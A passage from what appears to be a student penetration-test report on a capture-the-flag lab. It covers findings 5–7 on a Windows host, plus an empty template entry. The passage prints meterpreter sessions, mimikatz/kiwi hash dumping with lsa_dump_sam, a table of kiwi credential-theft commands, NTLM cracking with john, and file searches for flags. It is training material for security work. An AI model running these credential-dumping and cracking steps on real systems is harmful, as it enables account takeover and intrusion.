Images	 <pre> 822e3434a10440ad9cc086197819b49dmeterpreter > shell Process 3724 created. Channel 2 created. Microsoft Windows [Version 10.0.19044.1526] (c) Microsoft Corporation. All rights reserved. C:\Program Files (x86)\SLmail\System>schtasks /query schtasks /query C:\Program Files (x86)\SLmail\System>schtasks /query /tn "flag5" /fo LIST /v schtasks /query /tn "flag5" /fo LIST /v HostName: WIN10 TaskName: \flag5 Next Run Time: N/A Status: Ready Logon Mode: Interactive/Background Last Run Time: 4/27/2025 4:58:09 PM Last Result: 1 Author: WIN10\sysadmin Task To Run: C:\Windows\System32\WindowsPowerShell\N/A Start In: N/A Comment: 54fa8cd5c1354adc9214969d716673f5 Scheduled Task State: Enabled Idle Time: Only Start If Idle for 1 minutes, If Idle State end Power Management: Stop On Battery Mode Run As User: ADMBob </pre>
Affected Hosts	172.22.117.20
Remediation	Modify permissions to limit access

Vulnerability 6	Findings
Title	Password Hash- Kiwi
Type (Web app / Linux OS / Windows OS)	Windows OS
Risk Rating	Critical
Description	<p>As I continued in the meterpreter, I ran the command load kiwi to load into mimikatz. From there I ran the help command to list the commands inside of mimikatz. After reviewing and some internet search it was determined that running the command lsa_dump_sam is the best command as this command can see that NTLM hash is extracted from the users. After performing the command I found flag6 as the username and the NTLM hash as 50135ed3bf5e77097409e4a9aa11aa39. I opened a new terminal to create a hash.txt folder using the command touch hash.txt. I confirmed that the file was created by using the command ls. After confirming the file was created I ran the command echo flag6:50135ed3bf5e77097409e4a9aa11aa39 >> hash.txt. This command I put the text into the hash.txt file. I again confirmed that the text went into the hash.txt file by using the command cat hash.txt. And to decipher the Hash NTLM i ran the command john hash.txt --format=NT. This</p>

	<p>command deciphered the hash inside the file and the command <code>-format=NT</code> tells john the hash type is NTLM. And performing that command gave me flag 6 as the password.</p>																																								
Images	<pre>meterpreter > load kiwi Loading extension kiwi#####. mimikatz 2.2.0 20191125 (x86/windows) .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` (benjamin@gentilkiwi.com) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v #' Vincent LE TOUX (vincent.letoux@gmail.com) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ [!] Loaded x86 Kiwi on an x64 architecture. Success. meterpreter > █</pre> <p><u>Kiwi Commands</u></p> <table> <thead> <tr> <th>Command</th><th>Description</th></tr> </thead> <tbody> <tr> <td><code>creds_all</code></td><td>Retrieve all credentials (parsed)</td></tr> <tr> <td><code>creds_kerberos</code></td><td>Retrieve Kerberos creds (parsed)</td></tr> <tr> <td><code>creds_livessp</code></td><td>Retrieve Live SSP creds</td></tr> <tr> <td><code>creds_msv</code></td><td>Retrieve LM/NTLM creds (parsed)</td></tr> <tr> <td><code>creds_ssp</code></td><td>Retrieve SSP creds</td></tr> <tr> <td><code>creds_tspkg</code></td><td>Retrieve TsPkg creds (parsed)</td></tr> <tr> <td><code>creds_wdigest</code></td><td>Retrieve WDigest creds (parsed)</td></tr> <tr> <td><code>dcsync</code></td><td>Retrieve user account information via DCSync (unparsed)</td></tr> <tr> <td><code>dcsync_ntlm</code></td><td>Retrieve user account NTLM hash, SID and RID via DCSync</td></tr> <tr> <td><code>golden_ticket_create</code></td><td>Create a golden kerberos ticket</td></tr> <tr> <td><code>kerberos_ticket_list</code></td><td>List all kerberos tickets (unparsed)</td></tr> <tr> <td><code>kerberos_ticket_purge</code></td><td>Purge any in-use kerberos tickets</td></tr> <tr> <td><code>kerberos_ticket_use</code></td><td>Use a kerberos ticket</td></tr> <tr> <td><code>kiwi_cmd</code></td><td>Execute an arbitrary mimikatz command (unparsed)</td></tr> <tr> <td><code>lsa_dump_sam</code></td><td>Dump LSA SAM (unparsed)</td></tr> <tr> <td><code>lsa_dump_secrets</code></td><td>Dump LSA secrets (unparsed)</td></tr> <tr> <td><code>password_change</code></td><td>Change the password/hash of a user</td></tr> <tr> <td><code>wifi_list</code></td><td>List wifi profiles/creds for the current user</td></tr> <tr> <td><code>wifi_list_shared</code></td><td>List shared wifi profiles/creds (requires SYSTEM)</td></tr> </tbody> </table> <h3>SAM</h3> <p>The <code>lsa_dump_sam</code> module gets the SysKey to decrypt SAM entries (from registry or hive). It connects to the local Security Account Manager (SAM) database and dumps credentials for local accounts. As we have known that LSA is a system process that authenticates and logs users on the system. LSA authenticates the Domain Credentials that are used by the Operating System. The user information is validated by LSA by accessing the SAM of each computer. If there is a code that is running inside the LSA process than that process is able to access the credentials. LSA is able to store Reversibly encrypted plaintext, Kerberos tickets (ticket-granting tickets (TGTs), service tickets), NT hash, LAN Manager (LM) has. Here we can see that NTLM hash is extracted of the raj user.</p> <pre>lsa_dump_sam</pre> <pre>meterpreter > lsa_dump_sam [+] Running as SYSTEM [*] Dumping SAM Domain : WIN10 SysKey : 5746a193a13db189e63aa2583949573f Local SID : S-1-5-21-2013923347-1975745772-2428795772 SAMKey : 5f266b4ef9e57871830440a75bebebc</pre>	Command	Description	<code>creds_all</code>	Retrieve all credentials (parsed)	<code>creds_kerberos</code>	Retrieve Kerberos creds (parsed)	<code>creds_livessp</code>	Retrieve Live SSP creds	<code>creds_msv</code>	Retrieve LM/NTLM creds (parsed)	<code>creds_ssp</code>	Retrieve SSP creds	<code>creds_tspkg</code>	Retrieve TsPkg creds (parsed)	<code>creds_wdigest</code>	Retrieve WDigest creds (parsed)	<code>dcsync</code>	Retrieve user account information via DCSync (unparsed)	<code>dcsync_ntlm</code>	Retrieve user account NTLM hash, SID and RID via DCSync	<code>golden_ticket_create</code>	Create a golden kerberos ticket	<code>kerberos_ticket_list</code>	List all kerberos tickets (unparsed)	<code>kerberos_ticket_purge</code>	Purge any in-use kerberos tickets	<code>kerberos_ticket_use</code>	Use a kerberos ticket	<code>kiwi_cmd</code>	Execute an arbitrary mimikatz command (unparsed)	<code>lsa_dump_sam</code>	Dump LSA SAM (unparsed)	<code>lsa_dump_secrets</code>	Dump LSA secrets (unparsed)	<code>password_change</code>	Change the password/hash of a user	<code>wifi_list</code>	List wifi profiles/creds for the current user	<code>wifi_list_shared</code>	List shared wifi profiles/creds (requires SYSTEM)
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	 <pre> RID : 000003ea (1002) User : flag6 Hash NTLM: 50135ed3bf5e77097409e4a9aa11aa39 lm - 0: 61cc909397b7971a1ceb2b26b427882f ntlm- 0: 50135ed3bf5e77097409e4a9aa11aa39 (root@kali)~# ls Desktop Documents Downloads file2 file3 idleapp LinEnum.sh Music Pictures Public Sc (root@kali)~# touch hash.txt (root@kali)~# ls Desktop Downloads file3 idleapp Music Public Templates Documents file2 hash.txt LinEnum.sh Pictures Scripts Videos (root@kali)~# cat hash.txt (root@kali)~# echo flag6:50135ed3bf5e77097409e4a9aa11aa39 >> hash.txt (root@kali)~# ls Desktop Downloads file3 idleapp Music Public Templates Documents file2 hash.txt LinEnum.sh Pictures Scripts Videos (root@kali)~# cat hash.txt flag6:50135ed3bf5e77097409e4a9aa11aa39 (root@kali)~# john hash.txt --format=NT Using default input encoding: UTF-8 Loaded 1 password hash (NT [MD4 512/512 AVX512BW 16x3]) Warning: no OpenMP support for this hash type, consider Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for s Warning: Only 43 candidates buffered for the current sa Almost done: Processing the remaining buffered candidate Proceeding with wordlist:/usr/share/john/password.lst Computer! (flag6) 1g 0:00:00:00 DONE 2/3 (2025-04-25 11:34) 6.666g/s 6024 Use the "--show --format=NT" options to display all of Session completed. </pre>
Affected Hosts	172.22.117.20
Remediation	Safeguard password hashes by storing them securely

Vulnerability 7	Findings
Title	Sensitive Data Exposure
Type (Web app / Linux OS / Windows OS)	Windows OS

Risk Rating	Medium
Description	Continuing in meterpreter i ran the command search -f flag*.txt. This command allows you to search the file system by (-f) find by filename, (flag beginning of the file name, (*) any character that follows, (.txt) the file ending in .txt. after performing the command one of the files came back that i was looking for which was c:\Users\Public\Documents\flag7.txt. I used command cd ../../(x3) to back out of the directory 3 times to send me to the root of the filesystem. I then ran the command cd :Users\Public\Documents, ran ls to make sure i was in the correct directory, then ran cat flag7.txt to see the text inside of the file.
Images	 <pre>meterpreter > search -f flag*.txt Found 4 results ... Path ----- c:\Program Files (x86)\SLmail\System\flag4.txt c:\Users\Public\Documents\flag7.txt c:\xampp\htdocs\flag2.txt c:\xampp\tmp\flag3.txt meterpreter > █</pre>  <pre>meterpreter > cd ../../../../ meterpreter > ls Listing: C:\</pre>  <pre>meterpreter > cd /Users/Public/Documents meterpreter > ls Listing: C:\Users\Public\Documents Mode Size Type Last modified Name ----- 040777/rwxrwxrwx 0 dir 2022-02-15 21:01:26 -0500 My Music 040777/rwxrwxrwx 0 dir 2022-02-15 21:01:26 -0500 My Pictures 040777/rwxrwxrwx 0 dir 2022-02-15 21:01:26 -0500 My Videos 100666/rw-rw-rw- 278 fil 2019-12-07 04:12:42 -0500 desktop.ini 100666/rw-rw-rw- 32 fil 2022-02-15 17:02:28 -0500 flag7.txt meterpreter > cat flag7.txt 6fd73e3a2c2740328d57ef32557c2fdcmeterpreter > █</pre>
Affected Hosts	172.22.117.20
Remediation	Enforce least privilege access and confirm file systems are clear of confidential data.

Add any additional vulnerabilities below.

Vulnerability 8	Findings
Title	

Type (Web app / Linux OS / Windows OS)	
Risk Rating	
Description	
Images	
Affected Hosts	
Remediation	